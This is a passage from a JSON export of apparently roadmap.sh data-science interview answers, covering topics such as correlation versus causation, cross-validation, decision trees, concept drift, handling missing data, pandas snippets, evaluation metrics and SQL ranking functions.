    "content": "Correlation is the statistical measure that shows a relationship between two variables. When one changes, the other changes as well, positively or negatively. However, this doesn't mean that one variable causes the other to change. Causation means that one variable directly causes a change in the other. It implies a cause-and-effect relationship, not just an association. Proving causation requires deeper analysis and additional evidence.\n\n**Example:** There's a correlation between cart abandonment and uninstall rates in a shopping app. Users who abandon their carts often end up uninstalling the app shortly after. But that doesn't mean abandoning a cart causes someone to uninstall the app. The real cause might be a frustrating purchase process with too many steps. That complexity leads to both behaviors: abandoning the cart and uninstalling the app. So, while there's a correlation, you can't say it's causation without looking deeper.\n\n![Correlation vs. causation](https://assets.roadmap.sh/guest/difference-between-correlation-and-causation-j92us.png) "
  },
  {
    "path": "src/data/question-groups/data-science/content/cross-validation.md",
    "content": "Cross-validation is a technique for evaluating a model's performance on an individual dataset. It divides the dataset into subsets, usually the training, test, and validation sets. This process is repeated multiple times to ensure the model generalizes well to unseen data and to stop overfitting.\n\n![Cross-validating data](https://assets.roadmap.sh/guest/cross-validationing-data-uha2b.png) "
  },
  {
    "path": "src/data/question-groups/data-science/content/decision-trees.md",
    "content": "A decision tree is a machine learning algorithm used for classification and regression tasks. It makes decisions by following a tree-like structure where internal nodes represent attribute tests, branches represent attribute values, and leaf nodes represent predictions.\n\n![Decision tree](https://assets.roadmap.sh/guest/decision-tree-y4hrk.png)\n\nDecision trees are versatile and are used for many machine learning tasks.\n\n**Example**: Loan approval decision tree\n\n- **Step 1 – Ask a question (Root Node)**: Is the applicant's credit score > 700?\n  - If yes, go to Internal Node.\n  - If no, go to Leaf Node (Do not approve the loan).\n- **Step 2 – More questions (Internal Nodes)**: Is the applicant's income > $50,000?\n  - If yes, approve the loan (Leaf Node).\n  - If no, go to Leaf Node (Do not approve the loan).\n- **Step 3 - Decision (Leaf Node)**\n  - Leaf Node 1: Do not approve the loan (if credit score ≤ 700).\n  - Leaf Node 2: Approve the loan (if credit score > 700 and income > $50,000).\n  - Leaf Node 3: Do not approve the loan (if credit score > 700 and income ≤ $50,000).\n\n**Common pitfall:** Trees tend to overfit the data if you allow it to go too deep and include too many branches. "
  },
  {
    "path": "src/data/question-groups/data-science/content/deep-learning-vs-traditional-ml.md",
    "content": "**Deep learning** uses multi-layered neural networks to handle complex tasks like image recognition, NLP, and recommendation systems. Think CNNs, RNNs, and Transformers.\n\n**Pros:**\n\n- Handles complex, high-dimensional data (images, audio, text)\n- Works with both structured and unstructured data\n- Learns non-linear relationships\n- Scales well across use cases with techniques like transfer learning\n- Great at generalizing from large datasets\n\n**Cons:**\n\n- Requires lots of data and compute\n- Heavily dependent on data quality\n- Hard to interpret (black box)\n- Comes with privacy and security concerns\n\nTraditional ML uses simpler, more interpretable algorithms like decision trees, logistic regression, and support vector machines.\n\n**Pros:**\n\n- Works well with smaller datasets\n- Faster to train and more straightforward to interpret\n- Lower computational cost\n- More transparent and explainable\n\n**Cons:**\n\n- Struggles with complex/non-linear data\n- Needs manual feature engineering\n- Doesn't scale well with large datasets\n- Can overfit if not tuned properly "
  },
  {
    "path": "src/data/question-groups/data-science/content/detect-concept-drift.md",
    "content": "Concept drift happens when the relationship between your input features and target variable changes over time, causing your model's performance to drop. It's common in dynamic environments (e.g., user behavior, market trends). COVID-19 is a real-world example: models trained pre-pandemic broke down because behavior and data patterns shifted.\n\n**How to detect it:**\n\n- **Set up reference vs. detection windows:** Compare a stable past dataset (e.g., January traffic) against a current window (e.g., this week). This gives you a baseline.\n- **Compare distributions:** Use statistical tests (e.g., Kolmogorov–Smirnov, PSI, KL divergence) to detect shifts in data or feature distributions.\n- **Track model performance over time:** Drop in precision, recall, or overall accuracy compared to your baseline = red flag.\n- **Run significance tests:** This tells you if the drift is real or just noise. "
  },
  {
    "path": "src/data/question-groups/data-science/content/ensure-fairness-remove-bias.md",
    "content": "Fairness means your model makes decisions that don't unfairly favor or penalize any group. Bias can sneak in at any stage, like data collection, labeling, training, and even deployment, so it needs to be addressed early and often.\n\n**How to ensure fairness:**\n\n- **Start with diverse training data:** Your data should reflect all the groups your model impacts. If it's skewed, the model will be too.\n- **Preprocess to balance representation:** Use techniques like oversampling underrepresented groups or reweighting the data.\n- **Use bias detection tools:** Libraries like Fairlearn, AIF360, and What-If Tool can help you spot performance gaps across subgroups.\n- **Apply fairness constraints during training:** Use regularization, adversarial debiasing, or post-processing adjustments to reduce harm to specific groups.\n- **Build transparency into the model:** Use interpretable models (e.g., decision trees, linear models) or explanation tools like SHAP and LIME.\n- **Audit regularly across subgroups:** Don't rely only on overall accuracy—look at performance across gender, race, age, etc.\n- **Bring in human oversight:** Humans should always be part of the loop, especially in high-stakes decisions (e.g., lending, hiring). "
  },
  {
    "path": "src/data/question-groups/data-science/content/evaluate-dataset-usefulness.md",
    "content": "To check the quality of a random dataset, I'll:\n\n- **Understand the problem context:** The first thing to do is to make sure you understand the goal you aim to achieve before looking at the dataset. This allows you to know from first glance whether the dataset matches the problem. If the data has irrelevant columns, you should remove them.\n\n- **Test the data quality:** For any problem you are solving, it has most likely been solved before. You can test your dataset against a trusted dataset to measure any deviations that might be in the data. The dataset also needs to represent real-world scenarios.\n\n- **Technical checks:** With technical checks, it's good to remove duplicates in the data. Noise could be present with blurry images or mislabeled samples. You also have to make sure everything is formatted correctly in a consistent format.\n\n- **Assess practical utility:** The dataset has to be big enough for what you need it to do. For traditional machine learning, the dataset should be more than 10 times greater than the number of features per class. For deep learning, you should aim for 100 features per class to help avoid overfitting.\n\nA dataset is only useful when it aligns with the problem's context and goals. It must pass accuracy, completeness, and balance checks. Finally, it must meet size and representative requirements. "
  },
  {
    "path": "src/data/question-groups/data-science/content/evaluate-medical-classification-model.md",
    "content": "Healthcare classification models use machine learning to analyze vast amounts of patient data. They identify complex patterns and relationships, helping healthcare professionals predict health risks more accurately. These models help doctors make the right decision and reduce diagnostic errors. To evaluate classification models, you have to know the right metrics to use.\n\n- **Accuracy, sensitivity, and specificity metrics**: Accuracy, sensitivity, and specificity are critical in evaluating medical models. Accuracy measures the overall correctness of predictions. Sensitivity, or recall, shows the model's ability to identify positive cases. Specificity indicates how well it identifies negative cases. These metrics are vital for diagnostic accuracy assessment in various medical fields.\n- **ROC curves and AUC analysis**: ROC curves and AUC analysis are key metrics for healthcare AI performance. They evaluate a model's ability to distinguish between classes at different thresholds. A higher AUC score means better performance in distinguishing between positive and negative cases.\n- **Cross-validation techniques**: Cross-validation estimates a model's performance on unseen data. Techniques like k-fold cross-validation split data into subsets for training and testing, providing a robust assessment of the model's ability to generalize. "
  },
  {
    "path": "src/data/question-groups/data-science/content/evaluation-metrics.md",
    "content": "Once a machine learning model has been created, it is important to evaluate and test how well it performs on data. An evaluation metric is a mathematical quantifier of the quality of the model. Precision, Recall, F1 Score, and AUC-ROC are all evaluation metrics.\n\n- **Precision** is all about how accurate your positive predictions are. Of all the items your model labeled as positive, how many were actually positive?\n  **Formula = TP / (TP + FP).** It tells you how much you can trust the positives your model finds.\n- **Recall** focuses on finding all the actual positives. It measures how well your model catches everything it should've caught.\n  **Formula = TP / (TP + FN).** It's especially useful when missing a positive is costly like missing a cancer diagnosis.\n- **F1 Score:** F1 Score combines Recall and Precision into one performance metric. The F1 Score is the weighted average of Precision and Recall. Therefore, this score takes both false positives and false negatives into account. F1 is usually more useful than Accuracy, especially if you have an uneven class distribution.\n- **AUC-ROC:** The AUC-ROC curve is a tool for evaluating the performance of binary classification models. It plots the True Positive Rate (TPR) against the False Positive Rate (FPR) at different thresholds, showing how well a model can distinguish between two classes, such as positive and negative outcomes. It provides a graphical representation of the model's ability to distinguish between two classes, like a positive class for the presence of a disease and a negative class for the absence of a disease.\n\n**Key:** TP = True Positive, FP = False Positive, FN = False Negative. "
  },
  {
    "path": "src/data/question-groups/data-science/content/false-positive-vs-negative.md",
    "content": "False Positive Rate (FPR) is the proportion of actual negatives that are incorrectly identified to be true. False Negative Rate is the proportion of actual positives that are incorrectly identified as negatives.\n\nIn a fraud detection scenario, both of these have damaging consequences:\n\n**False Positive Rate (FPR)**: If a model has a high false positive rate, it means the system flags many legitimate transactions as fraudulent. This will lead to customer frustration, as their transactions will be flagged regularly, and they could leave.\n\n**False Negative Rate (FNR)**: If a model has a high false negative rate, it means many fraudulent transactions are not detected, which could lead to significant financial business loss. "
  },
  {
    "path": "src/data/question-groups/data-science/content/feature-selection.md",
    "content": "When building a predictive model, I like to combine practical steps and proven techniques to ensure that the features I include actually help the model rather than add noise, redundancy, or overfitting risk.\n\n**I'll approach like this:**\n\n1. **Start with domain knowledge:** Talk to stakeholders and review documentation to understand what features make the most sense in our business context.\n2. **Use filter methods for a first pass:** I run statistical checks like correlation, ANOVA, chi-square tests, or mutual information to remove irrelevant or redundant features. Filter methods are fast, which is especially helpful when you're working with high-dimensional data.\n3. **Apply wrapper methods for performance tuning:** For a more refined selection, I use wrapper methods like Recursive Feature Elimination (RFE). These methods evaluate subsets of features based on how well the model performs, which helps surface the most predictive combinations. They take more time but are worth it for high-impact models.\n4. **Leverage embedded methods for efficiency:** Models like Lasso (L1), Ridge (L2), and tree-based models (Random Forest, XGBoost) have built-in feature importance. I like these because they optimize feature selection during model training, balancing speed and accuracy.\n5. **Hybrid approach:** Sometimes, I start with a filter method to reduce dimensions and then fine-tune with wrapper or embedded methods. This hybrid approach saves time and improves performance.\n\n**How I decide what to drop or keep:**\n\n- If a feature is highly correlated with another, I drop the weaker or noisier one.\n- If it has low variance and no predictive power, it goes.\n- If it helps interpretability or improves metrics on validation data, I keep it.\n- If it harms generalization or adds complexity, I drop it. "
  },
  {
    "path": "src/data/question-groups/data-science/content/fine-tuning-vs-more-data.md",
    "content": "Fine-tuning a model is the process of adapting a pre-trained model for specific tasks or use cases. The reasoning behind fine-tuning is that it is easier and cheaper to improve the capabilities of a pre-trained base model that has already learned road knowledge about the task than it is to train a new model from scratch.\n\nGeneralization is a measure of how your model performs in predicting unseen data. Generalizing with more data is improving the model's ability to make predictions on new data rather than the data it was trained on.\n\nChoosing whether to generalize with more data or fine-tune to achieve your goal depends on the specific situation.\n\n**For specialization with fine-tuning:**\n\n- It is better when high performance is needed on a very specific task or domain.\n- It is more efficient to use when you have limited resources, but good data for a specific task.\n- It can achieve strong results with smaller models.\n\n**For generalization with more data:**\n\n- It is better for models that need to handle a wide range of tasks.\n- It is great for situations where overfitting will be a problem. "
  },
  {
    "path": "src/data/question-groups/data-science/content/group-aggregate-data-python.md",
    "content": "Basic group and sum:\n\n```python\ndf.groupby('category')['sales'].sum()\n```\n\nFor more complex aggregations:\n\n```python\n# Multiple aggregations\ndf.groupby('category').agg({\n    'sales': ['sum', 'mean', 'count'],\n    'profit': ['min', 'max']\n})\n\n# Custom aggregation functions\ndf.groupby('category')['sales'].agg(lambda x: x.max() - x.min())\n\n# Reset index to convert back to a regular DataFrame\ndf.groupby('category')['sales'].sum().reset_index()\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/handling-missing-data.md",
    "content": "After observing that my data set has missing values, I'll figure out how it occurs. Are they represented as **NaN,** **None,** empty strings, weird characters like -999, a combination of two or more, or something else?\n\n![How to handle missing data](https://assets.roadmap.sh/guest/how-do-you-handle-missing-data-vrptm.png)\n\nOnce I make sense of what my missing data looks like, I dig into why these values are missing, and they usually fall into three categories:\n\n- **Missing Completely At Random (MCAR):** No pattern, just random gaps. These are usually safe to drop, especially if there aren't many.\n\n    **Example:** In a survey dataset, 10% of income entries are missing due to a technical glitch that affected a random subset of responses. There's no pattern based on age, education, employment status, or anything else.\n\n- **Missing At Random (MAR):** This is when the missing data is related to *other observed variables*, but not to the income value itself.\n\n    **Example:** In the same dataset, 10% of `income` values are missing, mostly among respondents who are students. Here, missing data is related to the `occupation` variable, not the actual income value. Impute based on related features like `occupation`, `education level`, or `age`. Impute based on related features like `occupation`, `education level`, or `age`. Safe to drop or impute with mean/median since the missing data doesn't introduce bias.\n\n- **MNAR (Missing Not At Random):** The reason it's missing is tied to the value itself. \n\n    **Example:** If high spenders choose not to share income, that's tougher to handle and sometimes better tracked with a missingness flag. The probability of missingness increases with the income amount. Imputation is risky here. I'll consider flagging missingness with a binary indicator (`income_missing`) or using models that can account for MNAR, like EM algorithms or data augmentation techniques.\n\nOnce I know the type of missingness, I choose one of the following:\na. **Deletion (if safe):** \n\n- **Listwise:** Drop rows with missing values (only when missingness is random and small). \n- **Pairwise:** Use available values for calculations, such as correlations. \n- **Drop columns:** Remove low-value features with lots of missing data.\n\nb.  **Simple imputation:**\n\n- **Mean/Median/Mode:** Use for numeric or categorical columns, depending on distribution.\n- **Arbitrary values:** Fill with 0 or \"Unknown\" if it makes sense contextually.\n- **Forward/Backward fill:** Best for time series to keep temporal consistency.\n\nc.  **Advanced imputation:**\n\n- **KNN imputer:** Fills gaps by finding similar rows using distance metrics.\n- **Iterative imputer:** Builds a model with other columns to estimate missing values.\n- **Interpolation:** Good for numeric sequences, especially when data follows a trend.\n\nd.  **Use missingness as a feature:**\n\n- If the missing value could carry a signal, I add a binary indicator column (e.g., was_missing = 1).\n\ne.  **Oversampling or undersampling:**\n\n- If missing data causes class imbalance, I use resampling to maintain a fair target distribution.\n\n**Common pitfall**:\nFilling in values without understanding the pattern of missingness. For example, using mean imputation on MNAR data can introduce bias and weaken your model's predictive power. "
  },
  {
    "path": "src/data/question-groups/data-science/content/handling-null-values-pandas.md",
    "content": "Basic null handling options:\n\n```python\ndf.fillna(0)      # Replace with 0  \ndf.dropna()       # Drop rows with nulls\n```\n\nOther methods to consider:\n\n```python\n# Fill with mean/median/mode\ndf['column'].fillna(df['column'].mean())\ndf['column'].fillna(df['column'].median())\ndf['column'].fillna(df['column'].mode()[0])\n\n# Forward/backward fill\ndf.fillna(method='ffill')  # Use previous value\ndf.fillna(method='bfill')  # Use next value\n\n# Interpolation\ndf.interpolate()\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/imbalanced-data.md",
    "content": "Imbalanced data is a situation where the classes, labels, or categories in a dataset are not equally represented. In imbalanced datasets, one category has significantly more or fewer samples than the others. Imbalanced data refers to a common issue in supervised machine learning and deep learning where there is a non-uniform distribution of samples among different classes. This can lead to biased outcomes in models, such as those used in healthcare services, impacting their reliability and effectiveness.\n\nFor example, if you build an email spam detection model and your dataset contains 5% spam emails and 95% non-spam emails, the data is imbalanced toward non-spam. This imbalance can negatively affect the model's performance, especially in production, because it may achieve high accuracy by simply predicting the majority class while failing to detect spam effectively."
  },
  {
    "path": "src/data/question-groups/data-science/content/investigate-traffic-drop.md",
    "content": "To analyze a sudden drop in website traffic, I would follow these steps:\n\n- **Determine if it's a drop or a trend:** The first thing to do is try to understand whether your traffic has been declining for a while or if it has suddenly dropped for a day or two.  \n- **Rule out any manual actions:** Sometimes, traffic drops happen because of a Google penalty. Check to see if there are any recent changes that you might have fallen foul of. Also, make sure that updates you made to your website's content didn't cause a problem. \n- **Check for algorithm updates:** Google frequently updates its ranking algorithm. When your site's performance drops suddenly, it's worth investigating whether an update might be responsible.\n- **Investigate technical issues:** Some of the most common technical issues are indexing errors, site speed, performance, and mobile usability.\n- **Check competitor activity:** Sometimes, traffic dips occur because competitors have stepped up their game. SEO tools like Ahrefs, SEMrush, or Moz help track your competitors' backlinks, keywords, and rankings. Check to see whether your competitors have started outranking you for previously held keywords or launched new content targeting your primary audience. "
  },
  {
    "path": "src/data/question-groups/data-science/content/kmeans-clustering-python.md",
    "content": "**Basic usage:**\n\n```python\nfrom sklearn.cluster import KMeans  \nkmeans = KMeans(n_clusters=3).fit(X)\nlabels = kmeans.labels_\n```\n\n**Best practices for K-Means:**\n\n```python\n# Scale features\nfrom sklearn.preprocessing import StandardScaler\nX_scaled = StandardScaler().fit_transform(X)\n\n# Use elbow method to find optimal k\ndistortions = []\nK_range = range(1, 10)\nfor k in K_range:\n    kmeans = KMeans(n_clusters=k, random_state=42)\n    kmeans.fit(X_scaled)\n    distortions.append(kmeans.inertia_)\n\n# Plot elbow curve\nimport matplotlib.pyplot as plt\nplt.plot(K_range, distortions)\nplt.xlabel('k')\nplt.ylabel('Distortion')\nplt.title('Elbow Method For Optimal k')\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/knn-vs-kmeans.md",
    "content": "KNN stands for K-nearest neighbors is a classification (or regression) algorithm that, to determine the classification of a point, combines the classification of the K nearest points. It is **supervised** because you are trying to classify a point based on the known classification of other points.\n\n**K-means** is a clustering algorithm that tries to partition a set of points into K sets (clusters) such that the points in each cluster tend to be near each other. It is **unsupervised** because the points have no external classification.\n\n![KNN vs. K-means](https://assets.roadmap.sh/guest/knn-vs-k-means-iqkbo.png)\n\nThis table shows the difference between KNN and K-means depending on the use case, data usage, purpose, and other features.\n\n| **Feature**          | **K-Nearest Neighbors (KNN)**                                              | **K-Means Clustering**                                              |\n| -------------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------- |\n| **Algorithm Type**   | Supervised Learning (Classification/Regression)                            | Unsupervised Learning (Clustering)                                  |\n| **Purpose**          | Classifies new data points on labeled training data                        | Groups unlabeled data points into clusters                          |\n| **Data Usage**       | Uses the entire dataset for predictions                                    | Splits the data into clusters iteratively                           |\n| **Scalability**      | Slow for large datasets because all data points are needed for predictions | Faster for large datasets because initial centroids are already set |\n| **Example Use Case** | Image Classification, Recommendation Systems                               | Customer Grouping                                                   | "
  },
  {
    "path": "src/data/question-groups/data-science/content/lindeberg-feller-clt.md",
    "content": "This is a curveball question because the interviewer isn't really asking about the classic CLT. They're testing your knowledge about the Lindeberg-Feller CLT.\n\nIn the classic CLT, all the variables are independent and from the same probability distribution (identically distributed). But here, the interviewer is saying: What if they're still independent but not identically distributed? Lindeberg-Feller helps in situations like this.\n\nIt states that as long as the variables are independent, have finite second moments (meaning their variances aren't huge), and no single variable dominates (the Lindeberg condition), the normalized sum of those variables will still approach a normal distribution. So, even with different distributions, if those conditions hold, the average still forms a bell curve."
  },
  {
    "path": "src/data/question-groups/data-science/content/linear-regression.md",
    "content": "Linear regression is a statistical method used to model the relationship between a dependent variable and one or more independent variables. It is a type of supervised machine learning algorithm that computes the linear relationship between the dependent variable and one or more independent features by fitting a linear equation with observed data. It predicts the output variables based on the independent input variable.\n\nFor example, if you want to predict someone's salary, you use various factors such as years of experience, education level, industry of employment, and location of the job. Linear regression uses all these parameters to predict the salary as it is considered a linear relation between all these factors and the price of the house.\n\n**Assumptions for linear regression include:**\n\n- **Linearity:** Linear regression assumes there is a linear relationship between the independent and dependent variables. This means that changes in the independent variable lead to proportional changes in the dependent variable, whether positively or negatively.\n- **Independence of errors:** The observations should be independent from each other, that is, the errors from one observation should not influence another.\n- **Homoscedasticity (equal variance):** Linear regression assumes the variance of the errors is constant across all levels of the independent variable(s). This indicates that the amount of the independent variable(s) has no impact on the variance of the errors.\n- **Normality of residuals:** This means that the residuals should follow a bell-shaped curve. If the residuals are not normally distributed, then linear regression will not be an accurate model.\n- **No multicollinearity:** Linear regression assumes there is no correlation between the independent variables chosen for the model. "
  },
  {
    "path": "src/data/question-groups/data-science/content/linear-vs-logistic-regression.md",
    "content": "A linear regression algorithm defines a linear relationship between independent and dependent variables. It uses a linear equation to identify the line of best fit (straight line) for a problem, which it then uses to predict the output of the dependent variables.\n\n![Linear and logistic regression](https://assets.roadmap.sh/guest/what-is-linear-and-logistic-regression-ipjtz.png)\n\nA logistic regression algorithm predicts a binary outcome for an event based on a dataset's previous observations. Its output lies between 0 and 1. The algorithm uses independent variables to predict the occurrence or failure of specific events.\n\nYou use linear regression when the outcome is a continuous value, such as price or temperature. You should use logistic regression when the outcome is a categorical value like spam/not spam, yes/no, etc.\n\n![Linear vs. logistic regression](https://assets.roadmap.sh/guest/linear-vs-logistic-regression-a7cc3.png) "
  },
  {
    "path": "src/data/question-groups/data-science/content/logistic-regression.md",
    "content": "Logistic regression is a supervised machine learning algorithm commonly used for binary classification tasks by predicting the probability of an outcome, event, or observation. The model delivers a binary outcome limited to two possible outcomes: yes/no, 0/1, or true/false. Logical regression analyzes the relationship between one or more independent variables and classifies the data into discrete classes. This relationship is then used to predict the value of one of those factors, the probability of a binary outcome using the logistic (sigmoid) function. It is mostly used for predictive modeling.\n\nFor example, 0 represents a negative class, and 1 represents a positive class. Logistic regression is commonly used in binary classification problems where the outcome variable reveals either of the two categories (0 and 1).\n\n**Common pitfall:** Misunderstanding that logistic regression is not a classification algorithm but a probability estimator. "
  },
  {
    "path": "src/data/question-groups/data-science/content/long-format-vs-wide-format.md",
    "content": "The difference between long format data and wide format data comes down to how your data is structured. A wide format has values that do not repeat in the columns, while a long format has values that do repeat in the columns.\n\nIn wide format, you spread data across columns. Each variable (Jan, Feb, March) gets its own column. You'll usually see this in reports or dashboards.\n\n![Wide format data](https://assets.roadmap.sh/guest/wide-format-data-gxwrc.png)\n\nIn long format, data is stacked in rows. One column stores the values, and another column tells you what those values represent. This format is cleaner for grouped summaries and time series analysis.\n\n![Long format data](https://assets.roadmap.sh/guest/long-format-data-opeyt.png)\n\n**Use case:** Wide format is useful for reporting and making data visualizations. Long format is preferred for time series, grouped summaries, and plotting tools like Seaborn or ggplot.\n\n**Common pitfall:** Trying to perform group-level analysis on wide-format data without reshaping it first. "
  },
  {
    "path": "src/data/question-groups/data-science/content/long-tail-distribution.md",
    "content": "A long-tail distribution is a type of distribution where you group most of the data around the middle, but there are still many rare or unusual values that stretch far out to the sides (tail) and have a big impact.\n\n![Long-tail distribution](https://assets.roadmap.sh/guest/the-long-tail-t20gr.png)\n\n**Some examples are:**\n\n1. **Long-tail keywords in SEO**: A few high-volume keywords (like \"shoes\") get massive search volume, but there's a long tail of specific, niche searches (like \"waterproof hiking shoes for wide feet\") that collectively make up most of the search traffic. These long-tail keywords aren't often searched for, but they convert well.\n\n2. **Book sales**: Bestsellers like *Harry Potter* dominate the market, but tons of niche books (even classics like *Jane Austen*) sell steadily in the background. The collective sales of these less popular books often exceed those of the bestsellers.\n\n3. **Luxury bags**: A few brands are always trending. However, there's a long list of unique, lesser-known ones that still sell and matter to the market.\n\n**Why they're important in classification and regression problems:**\n\nLong-tail distributions can throw off model performance because most models are trained on the majority class, the \"head,\" and ignore rare but important events in the tail. This is risky in cases like fraud detection or churn modeling, where rare events matter most. They also affect Mean Squared Error, which squares the difference between predicted and actual values, so a few extreme errors from tail cases can blow up the score, even if your model does well overall.\n\nLong-tail distributions can create models that are biased toward the majority, skew errors, and cause you to miss rare events that matter. Handling them requires better sampling techniques and using loss functions that properly account for these rare but significant occurrences. "
  },
  {
    "path": "src/data/question-groups/data-science/content/measure-product-launch-success.md",
    "content": "First, define success for that specific launch. Is it getting 1,000 new users in 30 days? Hitting a revenue or CTR goal? Building awareness in a new market? Or collecting feedback for future improvements?\n\nOnce that's clear, measure success using a mix of quantitative and qualitative KPIs across teams like marketing, product, and customer success. Some metrics I'll look at:\n\n- **Launch campaign metrics:** To gauge marketing performance, look at leads generated, channel performance (email, ads, social), website traffic, and press coverage.\n- **Product adoption metrics:** After launch, track trials, usage, activation, and user retention. These show how well the product is landing with your target audience.\n- **Market impact metrics:** Measure business impact through revenue, market share, and win rates against competitors.\n- **Qualitative feedback:** Talk to sales reps, product teams, and customers. Internal and external feedback helps you understand the \"why\" behind the numbers. Blending data with direct feedback gives you a more transparent, more nuanced view of what's working and what to improve.\n\n**Common pitfall:** Focusing only on quantitative metrics without applying nuance to them. An example is tracking metrics like downloads without tracking engagement. Or tracking views without knowing who is viewing them. "
  },
  {
    "path": "src/data/question-groups/data-science/content/merge-overlapping-intervals.md",
    "content": "To merge overlapping intervals, first sort them, then iterate and merge as needed:\n\n```python\ndef merge_intervals(intervals):\n    intervals.sort(key=lambda x: x[0])\n    merged = [intervals[0]]\n    for current in intervals[1:]:\n        last = merged[-1]\n        if current[0] <= last[1]:\n            last[1] = max(last[1], current[1])\n        else:\n            merged.append(current)\n    return merged\n```\n\nSorting takes O(n log n), and the merge step is linear, making this efficient for large datasets. "
  },
  {
    "path": "src/data/question-groups/data-science/content/model-accuracy-business-impact.md",
    "content": "There could be multiple reasons why a business could be unsatisfied with a model that has high accuracy. Some reasons are:\n\n- **Focusing on the wrong metric:** Sometimes, a model is not optimized for the specific business problem. Its accuracy is tied to the wrong thing. For example, in fraud detection, it is possible to still miss fraudulent transactions even with high accuracy scores.\n- **Unrealistic expectations:** The model might have unrealistic expectations placed on it to solve problems when, in reality, it is meant to be used in conjunction with other methods and metrics to give a nuanced view.\n- **Overfitting:** It is possible that the high accuracy comes from the model learning the training data rather than learning how to generalize.\n\n**To handle this problem, I'll:**\n\n- **Reevaluate the business goals:** Sometimes, the business goals need to be defined so that there is a specific metric or group of metrics for the model to be trained towards.\n- **Improve the model performance:** You should do a deep dive into the model and fix any issues that you might notice, including overfitting, data issues or feature selection. "
  },
  {
    "path": "src/data/question-groups/data-science/content/monitor-model-performance.md",
    "content": "You monitor model performance in production by tracking both functional and operational metrics.\n\n**Functional monitoring** checks the health of the data and the model:\n\n- **Data quality**: Monitor for missing values, duplicates, and syntax errors.\n- **Data/feature drift**: Compare current input data to training data using stats like KL divergence, PSI, chi-squared, etc.\n- **Model drift**: Check if model accuracy drops over time due to changing patterns in the data.\n\n**Operational monitoring** keeps the system running smoothly:\n\n- **System health**: Tracks latency, errors, and memory usage.\n- **Input data health**: Watch for type mismatches, nulls, and out-of-range values.\n- **Model performance**: Use precision/recall, RMSE, or top-k accuracy depending on the use case.\n- **Business KPIs**: Tie model performance to actual business outcomes (e.g., conversions, revenue impact). "
  },
  {
    "path": "src/data/question-groups/data-science/content/multicollinearity.md",
    "content": "Multicollinearity is when two or more independent variables in a regression model are highly correlated, meaning they tell similar stories. This makes it hard for the model to figure out which variable is actually influencing the target, leading to unreliable or unstable coefficient estimates. \n\nFor example, in a regression model looking at economic growth, common variables will be GDP, Unemployment Rate, and Consumer Spending. These variables are all related, and the model might not be as effective as it should be.\n\n**To detect multicollinearity use:**\n\n- **Correlation matrix:** A correlation matrix detects multicollinearity by visualizing the strength of relationships between variables. A general rule is that any correlation value above 0.6 indicates strong multicollinearity.\n- **Variance inflation factor (VIF):** VIF detects multicollinearity by giving a numerical value that indicates how much the variance of a regression coefficient is inflated due to multicollinearity. A VIF value greater than 5 indicates moderate multicollinearity, while values above 10 suggest severe multicollinearity.\n- **Condition index:** The condition index is a tool for detecting multicollinearity. Values above 10 indicate moderate multicollinearity, and values above 30 indicate severe multicollinearity. The condition index works by checking how much the independent variables are related to each other by examining the relationships between their eigenvalues.\n\n**Common pitfall:** Including highly correlated predictors without checking VIF may inflate model error and reduce stability. "
  },
  {
    "path": "src/data/question-groups/data-science/content/null-hypothesis.md",
    "content": "The null hypothesis (H₀) is the starting point and default assumption of every statistical analysis. The idea is that there's nothing happening in your data: no stories, no effect, no relationship between the variables you're testing until your data gives strong evidence to reject it.\n\n![When to reject null hypothesis](https://assets.roadmap.sh/guest/when-to-reject-null-hypothesis-rchdo.png)\n\nTo know whether to reject the null hypothesis, here's what I do:\n\nFirst, I set a significance level, usually 0.05. Then, I calculate the p-value. If the p-value is less than or equal to 0.05, I reject the null hypothesis because the result is statistically significant. If it's more than 0.05, I don't reject it because there isn't enough evidence."
  },
  {
    "path": "src/data/question-groups/data-science/content/overfitting-prevention.md",
    "content": "Overfitting in machine learning happens when the model learns from the training data too well, including non-relevant details. This leads the model to perform very well on the training data but poorly on other data.\n\n**Prevention techniques:**\n\n- **Regularization (L1/L2):** This method adds a penalty to large weights to keep the model from becoming too complex.\n- **Cross-validation:** This helps test the model on different slices of data to make sure it generalizes well.\n- **Pruning (for tree models):** Cuts back unnecessary branches that overcomplicate the model.\n- **Early stopping:** Stops training when performance stops improving on the validation set.\n- **Dropout (for neural nets):** This method randomly drops neurons during training so the network doesn't become too dependent on specific paths. "
  },
  {
    "path": "src/data/question-groups/data-science/content/p-value-interpretation.md",
    "content": "A p-value is a statistical measure that determines the significance of the result you got in a hypothesis test. A small p-value (<0.05) indicates strong evidence that the null hypothesis is wrong, meaning you should reject it.\n\n![P-value interpretation](https://assets.roadmap.sh/guest/how-to-interpret-p-value-hzfqe.png)\n\nIf the probability of the p-value is greater than 0.05, there is not enough evidence to reject the null hypothesis. For example, if you conduct an experiment and the p-value is 0.03, you should reject the null hypothesis. "
  },
  {
    "path": "src/data/question-groups/data-science/content/probability-distributions.md",
    "content": "A probability distribution tells you how likely different possible outcomes are for a random event or experiment. It maps out the chances of different results happening. It’s a way of saying, “Here’s everything that could happen, and how often I expect each one to happen.”\n\nThe commonly used probability distributions are normal (bell curve), binomial, Poisson, and uniform distributions.\n\n**Common pitfall:** Different types of distributions need different types of analysis. Using the wrong type of distribution for analysis can lead to wrong results. Another common problem is assuming that data follow a normal distribution without testing for normality."
  },
  {
    "path": "src/data/question-groups/data-science/content/random-forest-vs-decision-tree.md",
    "content": "This table describes the difference between decision trees and random forests and when to use them based on features like accuracy, training time, etc.\n\n![Decision tree vs random forest](https://assets.roadmap.sh/guest/random-forest-vs-decision-tree-e8js9.png)\n\nA random forest is a collection of multiple decision trees, while a decision tree is just a single model that predicts outcomes based on a series of decisions. For a random forest, each tree is trained on a subset of the data and a subset of features, and both of these are random. A decision tree is a simple, tree-like structure used to represent decisions and the possible outcomes from them. Random forest multiple trees use bootstrapped samples and random feature selection, then average predictions to improve accuracy and reduce overfitting. "
  },
  {
    "path": "src/data/question-groups/data-science/content/rank-sql-sequence.md",
    "content": "```\nGiven values: 100, 90, 90, 80\nRANK(): Skips ranks after ties\n→ 1, 2, 2, 4\nDENSE_RANK(): No skipping\n→ 1, 2, 2, 3\nROW_NUMBER(): Ignores ties\n→ 1, 2, 3, 4\n```"
  },
  {
    "path": "src/data/question-groups/data-science/content/real-time-median.md",
